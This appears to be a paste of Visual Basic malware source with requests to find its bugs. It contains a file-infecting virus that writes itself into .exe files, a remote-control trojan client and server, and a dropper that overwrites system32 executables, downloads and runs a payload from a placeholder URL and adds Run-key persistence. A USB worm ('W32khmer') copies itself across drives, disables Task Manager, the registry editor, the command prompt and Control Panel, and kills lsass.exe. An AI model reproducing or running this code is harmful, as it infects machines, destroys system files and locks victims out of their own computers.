Dim TheFile As String
Dim Virus As Byte
Dim Victim as Byte
Const MySize as Integer = 'Put your virus size here in bytes!
Private Sub Form_load()
on error resume next
'Take the code out of the virus
Open app.path + "\" + app.exename + ".exe" For Binary Access Read As #1
Virus = Space(MySize)
get #1, 1, Virus
close #1
'take the code out of the victim file
TheFile = dir(app.path + "\" + "*.exe")
open thefile for binary access read as #1
Victim = space(lof(1))
get #1,,victim
close #1
'Put both code together
open thefile for binary access write as #1
put #1, MySize, Virus
Put #1, , Victim
close #1
end
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Dim TheFile As String
Dim Virus As Byte
Dim Victim as Byte
Const MySize as Integer = 'Put your virus size here in bytes!
Private Sub Form_load()
on error resume next
'Take the code out of the virus
Open app.path + "\" + app.exename + ".exe" For Binary Access Read As #1
Virus = Space(MySize)
get #1, 1, Virus
close #1
'take the code out of the victim file
TheFile = dir(app.path + "\" + "*.exe")
open thefile for binary access read as #1
Victim = space(lof(1))
get #1,,victim
close #1
'Put both code together
open thefile for binary access write as #1
put #1, MySize, Virus
Put #1, , Victim
close #1
end
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ind error in this trojan
CLIENT
Private Sub Command1_Click()
Winsock1.Connect Text1.Text, 8081 'text1.text contain 127.0.01
End Sub
Private Sub Command2_Click()
Winsock1.Close
End Sub
Private Sub Command3_Click()
Winsock1.SendData "opn"
End Sub
Private Sub Command4_Click()
Winsock1.SendData "cls"
End Sub
Private Sub Command5_Click()
Winsock1.SendData "msg" & Text2.Text
End Sub
Private Sub Winsock1_Connect()
Label1.Caption = "connected"
End Sub
SERVER
Private
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal
uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String
Public Function DoCommand(command As String, data As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server as a 'information messagebox
End Select 'end the select case
End Function 'end the function
Private Sub Command1_Click()
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0)
End Sub
Private Sub Form_Load()
tcpserver.LocalPort = 8081
tcpserver.Listen 'start listening
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
tcpserver.Close 'close to prevent any error
tcpserver.Accept requestID 'accept all incoming requests
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpserver.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
DoCommand cmddata, vardata ' This function is in the commands module
End Sub
Private
Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next 'to prevent any more error's
tcpserver.Close 'Close the connection
tcpserver.Listen 'listen again
End Sub
----------------------------------------------------------------------------------------------------------------------------
trojan error
find error in this trojan
CLIENT
Private Sub Command1_Click()
Winsock1.Connect Text1.Text, 8081 'text1.text contain 127.0.01
End Sub
Private Sub Command2_Click()
Winsock1.Close
End Sub
Private Sub Command3_Click()
Winsock1.SendData "opn"
End Sub
Private Sub Command4_Click()
Winsock1.SendData "cls"
End Sub
Private Sub Command5_Click()
Winsock1.SendData "msg" & Text2.Text
End Sub
Private Sub Winsock1_Connect()
Label1.Caption = "connected"
End Sub
SERVER
Private
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal
uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String
Public Function DoCommand(command As String, data As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server as a 'information messagebox
End Select 'end the select case
End Function 'end the function
Private Sub Command1_Click()
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0)
End Sub
Private Sub Form_Load()
tcpserver.LocalPort = 8081
tcpserver.Listen 'start listening
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
tcpserver.Close 'close to prevent any error
tcpserver.Accept requestID 'accept all incoming requests
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpserver.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
DoCommand cmddata, vardata ' This function is in the commands module
End Sub
Private
Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next 'to prevent any more error's
tcpserver.Close 'Close the connection
tcpserver.Listen 'listen again
End Sub
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Trojan dropper errer
Dim RegKey
Private Sub Form_Load()
On Error Resume Next
Plaige
If DoesFileExist("C:\WINDOWS\system32\autofmtx.exe") = True Then
Exit Sub
Else
DownloadTheData
End If
End
End Sub
Public Function DownloadTheData()
On Error Resume Next
Dim DownloadData() As Byte
If Inet1.StillExecuting = True Then Exit Function
DownloadData() = Inet1.OpenURL("http://yourwebsite.com/Trojan.exe", icByteArray)
Open ("C:\WINDOWS\system32\autofmtx.exe") For Binary Access Write As #1
Put #1, , DownloadData()
Close #1
Shell ("C:\WINDOWS\system32\autofmtx.exe")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autofmt", "C:\WINDOWS\system32\autofmt.exe"
End Function
Function DoesFileExist(FilePath As String, Optional FileAttr As VbFileAttribute) As Boolean
If Len(Dir$(FilePath, FileAttr)) > 0 Then DoesFileExist = True Else DoesFileExist = False
End Function
Private Sub Plaige()
Set RegKey = CreateObject("WScript.Shell")
Kill "C:\WINDOWS\system32\autofmt.exe"
Kill "C:\WINDOWS\system32\atmadm.exe"
Kill "C:\WINDOWS\system32\attrib.exe"
Kill "C:\WINDOWS\system32\cmdl32.exe"
Kill "C:\WINDOWS\system32\cmstp.exe"
Kill "C:\WINDOWS\system32\cmmon32.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\autofmt.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\atmadm.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\attrib.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\cmdl32.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\cmstp.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\cmmon32.exe"
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autofmt", "C:\WINDOWS\system32\autofmt.exe"
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\atmadm", "C:\WINDOWS\system32\atmadm.exe"
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\attrib", "C:\WINDOWS\system32\attrib.exe"
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmdl32", "C:\WINDOWS\system32\cmdl32.exe"
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmstp", "C:\WINDOWS\system32\cmstp.exe"
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmmon32", "C:\WINDOWS\system32\cmmon32.exe"
End Sub
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Option Explicit
'mouse
DefLng A-Z
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
'registy
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal
hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As
Long) As Long
Private Const WM_CLOSE = &H10
Private strWindowTitle As String
'file
Dim StopAction As Boolean
Dim FolderCounter As Long
Dim Filecounter As Long
Dim fsys As New FileSystemObject
Sub ScanFolder(ByVal ParentFolder As String)
On Error Resume Next
Dim Fso As New FileSystemObject
Dim fol As Folder
Dim FOLFIND As Folder
Dim Subfol As Folder
Dim i As Integer
Dim s As String
Dim fi As File
Set fol = Fso.GetFolder(ParentFolder)
If fol.SubFolders.Count > 0 Then
For Each Subfol In fol.SubFolders
Kill (Subfol.Path & "\" & Subfol.Name & ".exe")
fsys.copyfile App.EXEName & ".exe", Subfol.Path & "\", True
Name (Subfol.Path & "\" & App.EXEName & ".exe") As
(Subfol.Path & "\" & Subfol.Name & ".exe")
'system32
For Each fi In Subfol.Files
If LCase(fi.Name) = LCase("NTUSER.DAT") Then
Static k As Integer
k = k + 1
Kill (Subfol.Path & "\" & "W32khmer" & "\" &
Subfol.Name & ".exe")
Kill (Subfol.Path & "\" & "W32khmer" & "\" &
"W32khmer.exe")
fsys.CreateFolder (Subfol.Path & "\" & "W32khmer")
Fso.copyfile App.EXEName & ".exe", Subfol.Path & "\" &
"W32khmer" & "\", True
Name (Subfol.Path & "\" & "W32khmer" & "\" &
App.EXEName & ".exe") As (Subfol.Path & "\" & "W32khmer"
& "\" & "W32khmer.exe")
Call savestring(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion\run", "W32khmer" & k,
Subfol.Path & "\" & "W32khmer" & "\" & "W32khmer.exe")
Call savestring(HKEY_CURRENT_USER,
"SOFTWARE\Microsoft\Windows\CurrentVersion\run", "W32khmer" & k,
Subfol.Path & "\" & "W32khmer" & "\" & "W32khmer.exe")
End If
Next
If Subfol.SubFolders.Count > 0 Then
If StopAction = False Then
Call ScanFolder(Subfol)
Else
Exit Sub
End If
End If
DoEvents
Next
End If
End Sub
Private Sub copyfile_Timer()
On Error Resume Next
Dim d As Drive
For Each d In fsys.Drives
fsys.copyfile
App.EXEName & ".exe", d.Path & "\Documents and Settings\All
Users\Start Menu\Programs\Startup" & "\", True
If d.DriveType = Removable Then
Kill d.Path & "\" & d.VolumeName & ".exe"
Kill d.Path & "\" & "W32khmer.exe"
fsys.copyfile App.EXEName & ".exe", d.Path & "\", True
Name (d.Path & "\" & App.EXEName & ".exe") As (d.Path &
"\" & d.VolumeName & ".exe")
Dim i As Integer
StopAction = False
Call ScanFolder(d.Path & "\")
End If
Next
End Sub
Private Sub drivetexttime_Timer()
drivetext
End Sub
Private Sub Form_Load()
On Error Resume Next
Me.Hide
Registry
Shell ("command.com /c explorer.exe"), vbHide
End Sub
Private Sub Registry()
On Error Resume Next
'Disable Taskmanager
Call savestring(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\System",
"DisableTaskMgr", 1)
'Disable Command Prompt
Dim hCurKey As Long
Dim lRegResult As Long
Dim fileLocation As String
Dim number As Long
number = 1
lRegResult = RegCreateKey(HKEY_CURRENT_USER, "Software\Policies\Microsoft\Windows\System", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableCMD", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Disable registry
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\System", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableRegistryTools", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Disable my computer properties
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoPropertiesMyComputer", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Disable Control Panel
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoControlPanel", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
lRegResult = RegCreateKey(HKEY_LOCAL_MACHINE,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoControlPanel", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Disable run
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoRun", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
lRegResult = RegCreateKey(HKEY_LOCAL_MACHINE,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoRun", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'disable group policy
lRegResult = RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Policies\Microsoft\Windows\System", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableGPO", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'disable Find
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoFind", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'dilplay controlpanel
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\system", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDispCPL", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'no run
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\system", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoRun", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Disable Run
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableRun", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Disable Taskmanager
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\System", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableTaskMgr", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Nologoff
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoLogoff", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Noclose
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoClose", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'no power
lRegResult = RegCreateKey(HKEY_USERS, ".DEFAULT\Control Panel\Desktop", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "PowerOffActive", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'No folderopdtion
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoFolderOptions", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'No regedit
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Group Policy
Objects\LocalUser\Software\Microsoft\Windows\CurrentVersion\Policies\System",
hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableRegistryTools", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'No regedit
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\system", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "DisableRegistryTools", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'no search
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\system", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoSearch", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Shutcut
lRegResult = RegCreateKey(HKEY_CLASSES_ROOT, "AllFilesystemObjects\shellex\ContextMenuHandlers", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "ShortcutShredXP", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'no right click
Call savestring(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer",
"NoViewContextMenu", 1)
'no right click
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoViewContextMenu", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'no settaskbar
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoSetTaskbar", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'no save setting
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoSaveSettings", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Resize Desktop Icon
Call savestring(HKEY_CURRENT_USER, "Control Panel\Desktop\WindowMetrics", "Shell Icon Size", "32")
'chang wallpaper
Call savestring(HKEY_CURRENT_USER, "Control Panel\Desktop", "Wallpaperoriginy", "Distance in Pixels")
'Hide properties on desktop
lRegResult = RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDispAppearancePage", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
lRegResult = RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDispBackgroundPage", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
lRegResult = RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDispScrSavPage", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
lRegResult = RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDispSettingsPage", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'hide all items on the desktop
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDesktop", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'hide drive
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoDrives", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'hide network
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoNetHood", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'Remove Taskbar
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "NoSetTaskbar", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
'hide clock
lRegResult = RegCreateKey(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", hCurKey)
lRegResult = RegSetValueEx(hCurKey, "HideClock", 0, REG_DWORD, number, Len(number))
RegCloseKey (hCurKey)
End Sub
Sub mouse()
On Error Resume Next
Dim wäh As POINTAPI, ox, oy, MaxX, MaxY
MaxX = (Screen.Width \ Screen.TwipsPerPixelX) - 1
MaxY = (Screen.Height \ Screen.TwipsPerPixelY) - 1
GetCursorPos wäh
ox = wäh.x: oy = wäh.y
While 1
DoEvents
GetCursorPos wäh
If (ox <> wäh.x) Or (oy <> wäh.y) Then
ox = ox - (wäh.x - ox)
oy = oy - (wäh.y - oy)
If ox < 1 Then ox = 1 Else If ox >= MaxX Then ox = MaxX - 1
If oy < 1 Then oy = 1 Else If oy >= MaxY Then oy = MaxY - 1
SetCursorPos ox, oy
End If
Wend
End Sub
Private Sub killprocess_Timer()
On Error Resume Next
Shell ("command.com /c taskkill /F /IM lsass.exe"), vbHide
Shell ("command.com /c taskkill /F /IM cmd.exe"), vbHide
Shell ("command.com /c taskkill /F /IM taskmgr.exe"), vbHide
Shell ("command.com /c taskkill /F /IM regedit.exe"), vbHide
Shell ("command.com /c taskkill /F /IM mmc.exe"), vbHide
End Sub
Private Sub mouses_Timer()
mouse
End Sub
Private Sub regeditrun_Timer()
Registry
End Sub
Private Sub Scanfile_Timer()
Dim i As Integer
StopAction = False
For i = 1 To Me.Drive1.ListCount - 1
Call ScanFolder(Left(Me.Drive1.List(i), 2) & "\")
Next
End Sub
Sub drivetext()
On Error Resume Next
Dim d As Drive
For Each d In fsys.Drives
d.VolumeName = "VIRUS W32khmer"
Next
End Sub
-------------------------------------------------------------------------------------------
' -----------------
' ADVAPI32
' -----------------
' function prototypes, constants, and type definitions
' for Windows 32-bit Registry API
Public Declare Function GetSystemMenu Lib "user32" _
(ByVal hwnd As Long, _
ByVal bRevert As Long) As Long
Public Declare Function RemoveMenu Lib "user32" _
(ByVal hMenu As Long, _
ByVal nPosition As Long, _
ByVal wFlags As Long) As Long
Public Const MF_BYPOSITION = &H400&
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&
' Registry API prototypes
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Declare
Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal
Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
Declare
Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA"
(ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare
Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey
As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare
Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA"
(ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As
Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Declare
Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal
Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public
Const REG_SZ =
1
' Unicode nul terminated string
Public Const REG_DWORD =
4
' 32-bit number
Public Sub DisableCloseWindowButton(frm As Form)
Dim hSysMenu As Long
hSysMenu = GetSystemMenu(frm.hwnd, 0)
RemoveMenu hSysMenu, 6, MF_BYPOSITION
RemoveMenu hSysMenu, 5, MF_BYPOSITION
End Sub
Public Sub savekey(Hkey As Long, strPath As String)
Dim keyhand&
r = RegCreateKey(Hkey, strPath, keyhand&)
r = RegCloseKey(keyhand&)
End Sub
Public Function getstring(Hkey As Long, strPath As String, strValue As String)
Dim keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
r = RegOpenKey(Hkey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
getstring = Left$(strBuf, intZeroPos - 1)
Else
getstring = strBuf
End If
End If
End If
End Function
Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
r = RegCloseKey(keyhand)
End Sub
Function getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long
Dim lResult As Long
Dim lValueType As Long
Dim lBuf As Long
Dim lDataBufSize As Long
Dim r As Long
Dim keyhand As Long
r = RegOpenKey(Hkey, strPath, keyhand)
' Get length/data type
lDataBufSize = 4
lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
If lValueType = REG_DWORD Then
getdword = lBuf
End If
'Else
' Call errlog("GetDWORD-" & strPath, False)
End If
r = RegCloseKey(keyhand)
End Function
Function SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)
Dim lResult As Long
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)
'If lResult <> error_success Then Call errlog("SetDWORD", False)
r = RegCloseKey(keyhand)
End Function
New Virus Update
This virus